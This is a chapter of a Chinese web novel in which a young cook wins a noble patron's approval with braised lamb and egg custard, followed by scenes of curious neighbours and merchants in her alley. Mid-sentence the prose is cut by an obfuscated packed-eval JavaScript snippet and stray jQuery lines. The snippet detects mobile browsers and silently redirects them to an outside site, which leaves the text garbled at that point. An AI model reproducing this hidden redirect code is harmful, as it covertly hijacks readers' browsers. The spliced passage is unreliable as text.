54. 不一般的巷子
作品:《小厨娘不想攻略大佬》 汤汁在小火下渐渐收拢,泛起细密油亮的气泡,颜色愈发深沉,挂勺欲滴。
童白全神贯注,把握着火候,将浓缩了肉脂精华与果酸韵味的酱汁均匀浇在酥烂的羊肋排上。酱汁流淌,覆盖每一寸肌理,光泽诱人。最后撒上一小撮翠绿葱花点缀。
红焖羊肉,成。
厨房内一时寂静,只闻灶底柴火的轻微噼啪声。那香气霸道却层次分明,酸香引涎,肉香勾魂,蜜饼的甜香在一旁巧妙地平衡着味蕾的期待。
张勇不等吩咐,已示意候在门外的小厮上前,用温着的食盒将红焖羊肉、嫩滑的鸡子羹、清透的上汤白菜心以及那碟金光闪闪的蜜炙甜饼仔细装好。
崔老朝厨房门口走了几步,沉稳的步伐透出几分不易察觉的急切。
“童小娘子也一同前来吧。”崔老行至门口,忽又停步,回头对童白道了一句。
童白心下一紧,随即应道:“是。”她深吸一口气,理了理微皱的衣襟,跟在一行人身后,走向暖阁。
暖阁内,炭盆烧得正暖,松针与书卷的冷香依旧。崔十九郎斜倚在软榻上,指尖闲闲地敲着书卷,见众人进来,懒懒抬眸。
小厮揭开食盒,将散发着食物香味和温热气息的菜摆在八仙桌上,顺带摆上的还有几份餐具。
崔十九郎的目光掠过那几道菜,最终落在那一碗光滑如镜、嫩黄诱人的鸡子羹上,很快,抬起眼帘,朝一旁的童白看去。
她蜡黄色的脸上有不安、有期待,更有如何都遮掩不住的紧张,却无一丝算计。
他眉梢几不可察地动了一下。
“崔老,尝尝。”语气随意,却自带威仪。
崔老躬身,先向那碟蜜炙甜饼伸箸。“此饼火候恰到好处,蜜浆薄而透,焦香衬麦甜。”他评价克制,却接连吃了两块。
接着,他舀了一勺鸡子羹。羹匙轻松滑入,触感细腻如缎,竟无一丝孔洞。送入口中,那极致的嫩滑几乎无需咀嚼,纯粹而温润。他眼中闪过一丝真正的讶异,缓缓点头:“鸡子羹…能做到如此境地,心思和手上功夫都极巧。”
最后,他转向主菜红焖羊肉。银箸轻轻一夹,羊肉便如化开般分离。送入口中,他咀嚼的动作很慢,细细品味。肉质酥烂无比,毫不费牙,浓郁的咸鲜酱香中裹着一丝难以言喻的甘醇果韵,彻底化解了羊肉的膻腻,只留满口丰腴与回味。
崔老放下银箸,沉吟片刻,看向十九爷,声音里多了几分郑重:“爷,此羊肉炖煮火候已入化境,酥烂而不散形,去膻彻底,入味十分。尤难得的是,这酱汁风味层次独特,甘酸衬肉香,竟有画龙点睛之妙。童小娘子厨艺,确有些巧思。”
崔十九郎听着,唇角那抹惯有的玩味笑意加深了几分,眼神却深邃难辨。他并未急于品尝,目光反而扫向垂手恭立一旁的童白。
就见对方微微上翘的杏眼中少了几分茫然,多了些自信。这是听到崔老对菜品的肯定后的改变。
“张勇。”
“属下在。”
“你也尝尝这饼。”十九爷用扇尖点了点那碟蜜炙甜饼,语气慵懒却不容置疑,“看看比起你往日从童家提回来的,滋味可有长进?”
张勇身形微顿,立刻应道:“是。”他上前一步,依言取了一块饼,谨慎地尝了一口。
甜香瞬间在口中蔓延,饼身酥脆,内里软韧。
张勇迅速咽下,垂首道:“回爷的话,饼极好。比以往的更香更脆,蜜味也更醇些。”
他心下明了:爷此举,绝非品饼那么简单,更是将他与童家那点“私交”轻轻巧巧地摊开在了明面上,是一种无声的警示,亦是一种默许的联结。
童白看到这一幕,不由对十九爷肃然起敬。这小郎君年岁不大,行事说话却如混迹权贵场多年的老手。
十九爷轻笑一声,舀了小碗鸡子羹慢条斯理地吃起来,举止优雅,面上看不出丝毫情绪。直到一小碗羹见底,他才放下羹匙,接过侍从递上的清茶漱了漱口。
暖阁内一片寂静,所有目光都投向他,等待最终的裁决。
良久,他目光转向童白,“尚可。”
仅仅两个字,却让童白高悬的心猛地落回实处,甚至涌起一股难以言喻的激动。
她感觉十九爷爷口中“尚可”已是极高的评价。
崔十九郎此刻的内心并不似面上的平静。
这碗鸡子羹,让他尝出了记忆中的味道,隐在袖中的手不由紧握,心下泛起一丝茫然。
也不知道为何,这位童小娘子做的吃食,总是莫名契合他的口味。
无论是寻常蒸饼、甜腻的糕点,还是眼前这碗鸡子羹。
他沉默片刻,脑中思绪翻涌,室内一时安静。童白原本因崔老和张勇肯定而雀跃的心情,又一点点沉下去。
“往后每隔五日,你来此一次。”崔十九郎语速缓慢,似在边说边思量,“至于每次来做什么吃食……届时再说。张勇会安排接送。”
“是!谢十九爷!谢崔老!”童白压下心中翻涌的情绪,深深福礼。
虽不是预想中的为宴席做甜点,但对于她来说,她终于为自己和家人,在这危机四伏的长安城中,争取到了一丝微光,一道虽薄弱却真实的屏障。
崔十九郎挥了挥手,示意他们退下。
童白跟着张勇和崔老退出暖阁,廊下清冷的空气涌入肺腑,让她激荡的心绪稍稍平复。崔老在分岔路口停步,看向童白,目光比之初见时缓和了许多:“今日便到此为止。回去好生歇息,五日后辰时(早上七点到九点间)来,莫要迟了。”
“奴谨记崔老教诲。”童白恭敬应答。
张勇引着她向外走去:“小娘子,我送你回去。”既然十九爷已默认他与童家的关系,他便将这关系摆到明处来。
踏上归途的马车,童白靠着车壁,疲惫如潮水般涌来,但心底却有一股暖流悄然涌动。她掀开车帘一角,望着窗外流逝的街景,长安城的暮色似乎也不再那么冰冷沉重。
然而,她并未看见,在她离开后,暖阁内的崔十九郎把玩着手中的茶盏,淡淡道:“查一查,她那手用酸果解腻软肉的法子,是何处习得。还有那童寄,在浅水原,究竟做了何事……又惹了谁。”
“是。”空气中传来一道低沉的声音。
崔十九郎举起银箸,端起碗来,慢慢将桌上菜肴送入嘴中。
全然不似平日里对吃食兴致缺缺的模样。
*
张勇驾着的马车才进到双梧巷,巷口吴家的院门应声打开,卢婶子探出头来,却只见到马车的背影渐渐远去。
她默默地注视着马车停在了巷子的最东头,在车停稳前,她将院门关上,回到了院中。吴三娘见到她的动作,默默地回了里屋,果不出然,她娘很快也进来了,拉着她又开始絮叨起来:“我不管你明日找个什么理由,哪怕是上门白干活都行,必须跟童小娘子搭上话来。”
眼见着童家小娘子凭借着手艺越发得了贵人们的青眼,卢娘子越发升起了想要让女儿靠上的心思,甚至于,她还想过要不要跟童家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436323|178855||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说亲事,自家大儿子也是二十来岁的大小伙了,前些年是被前朝耽搁了,新朝初立后,他爹说,儿郎需先建功再成家,这才跟着一同奔赴战场,也不知道现在如何了。
叹了口气,卢婶子瞧见一旁的三娘许久,最后嘴里嘟囔着什么,去了灶屋。
她没继续唠叨此事,也让吴三娘轻舒了一口气,她倒是不抗拒跟童小娘子接触,就是面皮有点薄而已。
巷口的吴家如此,巷中的谢家宅子里的胡商也很热闹,趴在门上观察许久的汉子,回到堂屋,压着声音将适才看到的情形说了,韦德坐在上首的位置,手上把玩着一个镶满宝石的手环,用家乡话道:“没想到这小巷里的住户如此的有意思。”
哈维抬手抹了把额上并不存在的汗水,赧然道:“少爷这话说的,哈维汗颜啊,本是冲着寻个并不起眼的小巷租的这里,哪知这里面还藏着两个这般不一样的人家。”
一家说的是童家,另一家说的是童家对门的陈家。而巷口的吴家,他租房的时候便知道了,校尉的官职在这长安城内算不上什么。
原本以为巷尾的童家也只是个寻常人家,但谁能想,童家的靠山是延寿坊的崔将军家,要说前朝,延寿坊崔家只能算是崔姓家族的一支,但现在……
哈维:“少爷,陈家一直在窥视童家之事,你看咱要不要跟童家知会一声?”
韦德摇头,“说什么说,现在两家究竟是什么个路数咱们还没摸透,保持跟童家现在这样的交往即可,”他们是来长安城卖货的,能搭上新的卖货渠道固然是好,就算搭不上,暂时他们也不愁卖,“大觉寺的主持答应在三月三让咱们在大觉寺内设摊没?”
哈维点头,“答应了。”
韦德颔首,低着头看着手上的黄金手环,许久未言语。
哈维朝候在一旁的汉子点了点下巴,那汉子悄然出了房间,随手将房门关上,只留韦德少爷和哈维在这暗暗的房间内。
许久,韦德的声音在房间内悠悠响起:“哈维,咱们这趟,以稳为主。跟权贵搭上固然是好事,但是别忘了,权贵们的心思可不是随便就能参透的。”
哈维心下一凛,躬身应下,想着不远千里的家乡,自家老爷面临的困境,更是深以为然。
“是,谢少爷点明!”
俩人的相处,不难看出主仆差异来,这跟俩人平时在外的形象却是一点也不一样。
听到巷子里响起马蹄声时,童家二郎便跑到院子里,贴着耳在院门上,完全不顾木门的冰冷。
等到马车停在院门口,童家院门内传来二郎稚嫩的童声,“是阿姊回来了吗?”尾音发颤。
童白一把掀开车帘,急忙应声,“是我,二郎,阿姊回来了。”
随着她声音落下的是二郎拨弄门闩的动静、三娘的欢呼、白氏匆忙的脚步声,甚至于她耳尖地听到了四郎的哼唧声,童白唇角上翘,眼中浮现出由内而外的喜意。
注视着这一幕的张勇,记下来童白的反应,准备回去后定要跟崔老说个明白,这童家小娘子虽行事与之前他们打听来的不一样,但对童家的维护和感情却是真,要说性情大变?
张勇眼神微暗,那只能是因为市井所传童大哥牺牲的消息导致。
爹战死,娘病重,谁好人遇到这事,能不性情大变一番?!
张勇视线隐晦地扫视了对面陈家院门一瞬,张勇利落地跃下车辕,目光如电,扫向巷子中段那扇紧闭的陈家院门。夜色中,那门扉似乎纹丝未动,却无端透出一股令人不适的窥伺感。